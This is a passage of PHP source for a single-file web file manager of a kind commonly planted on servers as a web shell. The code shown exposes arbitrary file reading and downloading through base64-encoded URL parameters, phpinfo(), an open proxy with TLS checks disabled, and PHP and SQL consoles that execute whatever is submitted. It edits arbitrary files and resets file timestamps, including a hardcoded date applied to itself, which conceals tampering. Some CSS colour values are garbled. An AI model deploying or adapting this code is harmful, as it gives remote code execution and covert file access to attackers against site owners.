			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
